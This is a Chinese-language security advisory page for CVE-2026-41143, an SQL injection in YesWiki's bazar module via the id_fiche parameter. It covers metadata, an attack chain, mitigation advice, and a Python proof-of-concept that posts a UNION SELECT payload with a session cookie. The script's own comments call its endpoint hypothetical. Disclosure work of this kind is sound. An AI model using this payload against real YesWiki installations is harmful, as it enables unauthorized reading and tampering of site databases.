IPBUF安全漏洞报告
English
CVE-2026-41143 CVSS 8.8 高危

CVE-2026-41143 YesWiki SQL注入漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41143
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
YesWiki

相关标签

SQL注入YesWikiCWE-89Web安全高危漏洞

漏洞概述

YesWiki在4.6.1版本之前的bazar模块中存在SQL注入漏洞。由于未对用户输入的`id_fiche`参数进行过滤,攻击者可直接拼接SQL语句,导致数据库信息泄露、篡改或服务器被控制。

技术细节

该漏洞源于YesWiki的`tools/bazar/services/EntryManager.php`文件第704行存在不安全的SQL查询构建方式。程序在处理`bazar`模块请求时,直接从`$_POST`超全局变量中获取`id_fiche`参数的值,并将其作为字符串拼接到SQL查询语句中,未进行任何形式的输入清洗或参数化绑定。这种编码缺陷允许经过身份验证的攻击者注入恶意的SQL载荷。攻击者可以通过构造特制的HTTP POST请求向服务器发送包含SQL元字符的数据,从而操纵后端数据库逻辑。利用此漏洞可导致数据库中的敏感信息(如用户凭证、配置数据)被读取、修改或删除,严重威胁系统完整性与机密性。

攻击链分析

STEP 1
侦察
攻击者识别目标系统为YesWiki,且版本低于4.6.1。
STEP 2
漏洞利用
攻击者获取低权限账户,并构造包含恶意SQL语句的POST请求,针对`id_fiche`参数进行注入。
STEP 3
命令执行
后端数据库接收并执行拼接后的恶意SQL命令。
STEP 4
达成目标
攻击者获取数据库敏感信息,或篡改、删除数据,导致系统机密性、完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # Proof of Concept for CVE-2026-41143 # Target: YesWiki < 4.6.1 # The vulnerability exists in the 'id_fiche' parameter of the bazar module. def exploit(target_url, session_cookie): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Cookie": f"PHPSESSID={session_cookie}" } # Payload to extract database version (MySQL) # The injection point expects an ID, so we close the quote and append our query sqli_payload = "1' UNION SELECT 1,2,3,version(),5,6,7,8,9,10-- -" data = { "id_fiche": sqli_payload, # Other required POST parameters might be needed depending on the form structure } # The vulnerable endpoint is typically where EntryManager is invoked # Adjust the endpoint path if necessary based on specific YesWiki configuration url = f"{target_url}/?api/bazar/entries" # Hypothetical endpoint mapping to EntryManager try: response = requests.post(url, data=data, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database version output.") print(response.text[:200]) # Print partial response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://target-yeswiki-site.com" # Low privilege session might be required based on CVSS PR:L session = "valid_session_id_here" exploit(target, session)

影响范围

YesWiki < 4.6.1

防御指南

临时缓解措施
建议立即升级至YesWiki 4.6.1及以上版本。若无法立即升级,应严格限制对bazar模块的访问权限,并在WAF层面部署针对SQL注入的过滤规则,拦截包含异常SQL字符的`id_fiche`参数请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表